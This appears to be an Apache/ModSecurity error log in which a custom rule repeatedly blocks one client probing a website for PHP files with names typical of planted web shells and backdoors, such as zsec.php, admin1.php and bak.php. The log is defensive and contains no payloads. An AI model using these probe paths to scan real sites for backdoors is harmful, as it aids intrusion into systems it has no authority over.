[Thu Dec 25 21:38:44.657592 2025] [:error] [pid 22045:tid 22125] [client 4.193.224.251:16835] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aU0-ZKsGGmXjDnvlmHtjrAAAAVc"]
[Thu Dec 25 21:38:45.285192 2025] [:error] [pid 22043:tid 22072] [client 4.193.224.251:16780] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aU0-ZT4YVtlb2Iz_QE5H5AAAABg"]
[Thu Dec 25 21:38:46.288366 2025] [:error] [pid 27869:tid 27892] [client 4.193.224.251:11257] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aU0-ZhNK7_n86kBD7qfLtQAAAJU"]
[Thu Dec 25 21:38:47.206146 2025] [:error] [pid 22131:tid 22133] [client 4.193.224.251:16829] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aU0-Z5vVMtSTB4lX2fYq0gAAAEA"]
[Thu Dec 25 21:38:47.584956 2025] [:error] [pid 22043:tid 22064] [client 4.193.224.251:16839] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aU0-Zz4YVtlb2Iz_QE5H7wAAABA"]
[Thu Dec 25 21:38:48.197338 2025] [:error] [pid 27869:tid 27891] [client 4.193.224.251:11235] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aU0-aBNK7_n86kBD7qfLvAAAAJQ"]
[Thu Dec 25 21:38:49.572737 2025] [:error] [pid 22044:tid 22093] [client 4.193.224.251:16872] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aU0-aXPTC5rQKTB0FQ-RswAAANI"]
[Thu Dec 25 21:38:51.124286 2025] [:error] [pid 22044:tid 22085] [client 4.193.224.251:16779] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aU0-a3PTC5rQKTB0FQ-RugAAAMo"]
[Thu Dec 25 21:38:52.243233 2025] [:error] [pid 27869:tid 27874] [client 4.193.224.251:16793] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aU0-bBNK7_n86kBD7qfLyQAAAIM"]
[Thu Dec 25 21:38:52.938984 2025] [:error] [pid 27869:tid 27879] [client 4.193.224.251:16830] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aU0-bBNK7_n86kBD7qfLywAAAIg"]
[Thu Dec 25 21:38:53.522445 2025] [:error] [pid 22131:tid 22147] [client 4.193.224.251:16858] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aU0-bZvVMtSTB4lX2fYq3AAAAEw"]
[Thu Dec 25 21:38:54.056802 2025] [:error] [pid 22043:tid 22054] [client 4.193.224.251:16776] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aU0-bj4YVtlb2Iz_QE5H-AAAAAY"]
[Thu Dec 25 21:38:54.644226 2025] [:error] [pid 22044:tid 22091] [client 4.193.224.251:16823] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU0-bnPTC5rQKTB0FQ-RvwAAANA"]
[Thu Dec 25 21:38:55.285717 2025] [:error] [pid 22045:tid 22105] [client 4.193.224.251:16792] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU0-b6sGGmXjDnvlmHtjwAAAAUM"]
[Thu Dec 25 21:38:56.330809 2025] [:error] [pid 22044:tid 22080] [client 4.193.224.251:16789] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU0-cHPTC5rQKTB0FQ-RxAAAAMU"]
[Thu Dec 25 21:38:57.391435 2025] [:error] [pid 27869:tid 27871] [client 4.193.224.251:16842] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aU0-cRNK7_n86kBD7qfL1AAAAIA"]
[Thu Dec 25 21:38:59.064171 2025] [:error] [pid 22043:tid 22050] [client 4.193.224.251:16840] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aU0-cz4YVtlb2Iz_QE5IAQAAAAI"]
[Thu Dec 25 21:39:00.622693 2025] [:error] [pid 22044:tid 22082] [client 4.193.224.251:11221] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aU0-dHPTC5rQKTB0FQ-R0QAAAMc"]
[Thu Dec 25 21:39:01.382725 2025] [:error] [pid 22131:tid 22160] [client 4.193.224.251:16863] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aU0-dZvVMtSTB4lX2fYq6gAAAFg"]
[Thu Dec 25 21:39:02.433768 2025] [:error] [pid 22043:tid 22071] [client 4.193.224.251:16870] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aU0-dj4YVtlb2Iz_QE5ICAAAABc"]
[Thu Dec 25 21:39:03.305636 2025] [:error] [pid 22131:tid 22151] [client 4.193.224.251:16881] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aU0-d5vVMtSTB4lX2fYq9AAAAFA"]
[Thu Dec 25 21:39:03.981929 2025] [:error] [pid 27869:tid 27882] [client 4.193.224.251:16828] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aU0-dxNK7_n86kBD7qfL4wAAAIs"]
[Thu Dec 25 21:39:04.807636 2025] [:error] [pid 27869:tid 27871] [client 4.193.224.251:16887] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aU0-eBNK7_n86kBD7qfL5gAAAIA"]
[Thu Dec 25 21:39:05.947628 2025] [:error] [pid 22044:tid 22076] [client 4.193.224.251:16798] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aU0-eXPTC5rQKTB0FQ-R2AAAAME"]
[Thu Dec 25 21:39:06.835160 2025] [:error] [pid 27869:tid 27891] [client 4.193.224.251:16838] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aU0-ehNK7_n86kBD7qfL8QAAAJQ"]
[Thu Dec 25 21:39:08.180739 2025] [:error] [pid 22044:tid 22097] [client 4.193.224.251:16871] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aU0-fHPTC5rQKTB0FQ-R2wAAANY"]
[Thu Dec 25 21:39:09.376058 2025] [:error] [pid 22044:tid 22079] [client 4.193.224.251:16859] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aU0-fXPTC5rQKTB0FQ-R3gAAAMQ"]
[Thu Dec 25 21:39:10.298727 2025] [:error] [pid 27869:tid 27878] [client 4.193.224.251:16775] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aU0-fhNK7_n86kBD7qfL9AAAAIc"]
[Thu Dec 25 21:39:11.686987 2025] [:error] [pid 22044:tid 22081] [client 4.193.224.251:16805] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aU0-f3PTC5rQKTB0FQ-R4gAAAMY"]
[Thu Dec 25 21:39:14.131800 2025] [:error] [pid 22131:tid 22136] [client 4.193.224.251:16874] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aU0-gpvVMtSTB4lX2fYrCAAAAEM"]
[Thu Dec 25 21:39:15.514657 2025] [:error] [pid 22044:tid 22091] [client 4.193.224.251:16796] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aU0-g3PTC5rQKTB0FQ-R8AAAANA"]
[Thu Dec 25 21:39:16.960650 2025] [:error] [pid 22045:tid 22104] [client 4.193.224.251:16837] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aU0-hKsGGmXjDnvlmHtj3gAAAUI"]
[Thu Dec 25 21:39:18.237031 2025] [:error] [pid 22044:tid 22076] [client 4.193.224.251:16850] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aU0-hnPTC5rQKTB0FQ-R_AAAAME"]
[Thu Dec 25 21:39:18.945669 2025] [:error] [pid 22045:tid 22103] [client 4.193.224.251:16771] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aU0-hqsGGmXjDnvlmHtj4QAAAUE"]
[Thu Dec 25 21:39:19.607644 2025] [:error] [pid 22044:tid 22089] [client 4.193.224.251:16864] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aU0-h3PTC5rQKTB0FQ-R_wAAAM4"]
[Thu Dec 25 21:39:20.618997 2025] [:error] [pid 22131:tid 22135] [client 4.193.224.251:16817] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aU0-iJvVMtSTB4lX2fYrFQAAAEI"]
[Thu Dec 25 21:39:21.811483 2025] [:error] [pid 22043:tid 22062] [client 4.193.224.251:16865] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/laudq.php"] [unique_id "aU0-iT4YVtlb2Iz_QE5IQAAAAA4"]
[Thu Dec 25 21:39:29.719208 2025] [:error] [pid 22044:tid 22082] [client 4.193.224.251:16788] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aU0-kXPTC5rQKTB0FQ-SJAAAAMc"]
[Thu Dec 25 21:39:31.287787 2025] [:error] [pid 22045:tid 22103] [client 4.193.224.251:16834] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aU0-k6sGGmXjDnvlmHtj9QAAAUE"]
[Thu Dec 25 21:39:32.592184 2025] [:error] [pid 22131:tid 22137] [client 4.193.224.251:11205] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aU0-lJvVMtSTB4lX2fYrKAAAAEQ"]
[Thu Dec 25 21:39:33.126254 2025] [:error] [pid 22043:tid 22062] [client 4.193.224.251:16785] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cloud.php"] [unique_id "aU0-lT4YVtlb2Iz_QE5ITAAAAA4"]
[Thu Dec 25 21:39:35.516117 2025] [:error] [pid 22044:tid 22077] [client 4.193.224.251:16873] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aU0-l3PTC5rQKTB0FQ-SMQAAAMI"]
[Thu Dec 25 21:39:36.616571 2025] [:error] [pid 22045:tid 22110] [client 4.193.224.251:16826] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aU0-mKsGGmXjDnvlmHtj9wAAAUg"]
[Thu Dec 25 21:39:37.666780 2025] [:error] [pid 22043:tid 22072] [client 4.193.224.251:11219] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aU0-mT4YVtlb2Iz_QE5IUgAAABg"]
[Thu Dec 25 21:39:38.533479 2025] [:error] [pid 22131:tid 22153] [client 4.193.224.251:16774] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aU0-mpvVMtSTB4lX2fYrLgAAAFI"]
[Thu Dec 25 21:39:39.445084 2025] [:error] [pid 27869:tid 27893] [client 4.193.224.251:16768] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU0-mxNK7_n86kBD7qfMJQAAAJY"]
[Thu Dec 25 21:39:40.420335 2025] [:error] [pid 22045:tid 22111] [client 4.193.224.251:16883] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU0-nKsGGmXjDnvlmHtkBwAAAUk"]
[Thu Dec 25 21:39:41.471960 2025] [:error] [pid 22131:tid 22135] [client 4.193.224.251:16800] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU0-nZvVMtSTB4lX2fYrNAAAAEI"]
[Thu Dec 25 21:39:42.491791 2025] [:error] [pid 27869:tid 27875] [client 4.193.224.251:11218] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU0-nhNK7_n86kBD7qfMLgAAAIQ"]
[Thu Dec 25 21:39:43.287504 2025] [:error] [pid 22131:tid 22136] [client 4.193.224.251:16784] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU0-n5vVMtSTB4lX2fYrOgAAAEM"]
[Thu Dec 25 21:39:43.850604 2025] [:error] [pid 27869:tid 27888] [client 4.193.224.251:16803] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU0-nxNK7_n86kBD7qfMMQAAAJE"]
[Thu Dec 25 21:39:44.502229 2025] [:error] [pid 27869:tid 27872] [client 4.193.224.251:11260] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU0-oBNK7_n86kBD7qfMNQAAAIE"]
[Thu Dec 25 21:39:45.293621 2025] [:error] [pid 27869:tid 27887] [client 4.193.224.251:11207] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aU0-oRNK7_n86kBD7qfMOAAAAJA"]
[Thu Dec 25 21:39:45.705185 2025] [:error] [pid 22043:tid 22052] [client 4.193.224.251:16889] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aU0-oT4YVtlb2Iz_QE5IYgAAAAQ"]
[Thu Dec 25 21:39:46.380201 2025] [:error] [pid 27869:tid 27883] [client 4.193.224.251:11227] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aU0-ohNK7_n86kBD7qfMOQAAAIw"]
[Thu Dec 25 21:39:46.794117 2025] [:error] [pid 22131:tid 22134] [client 4.193.224.251:16807] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bak.php"] [unique_id "aU0-opvVMtSTB4lX2fYrUwAAAEE"]
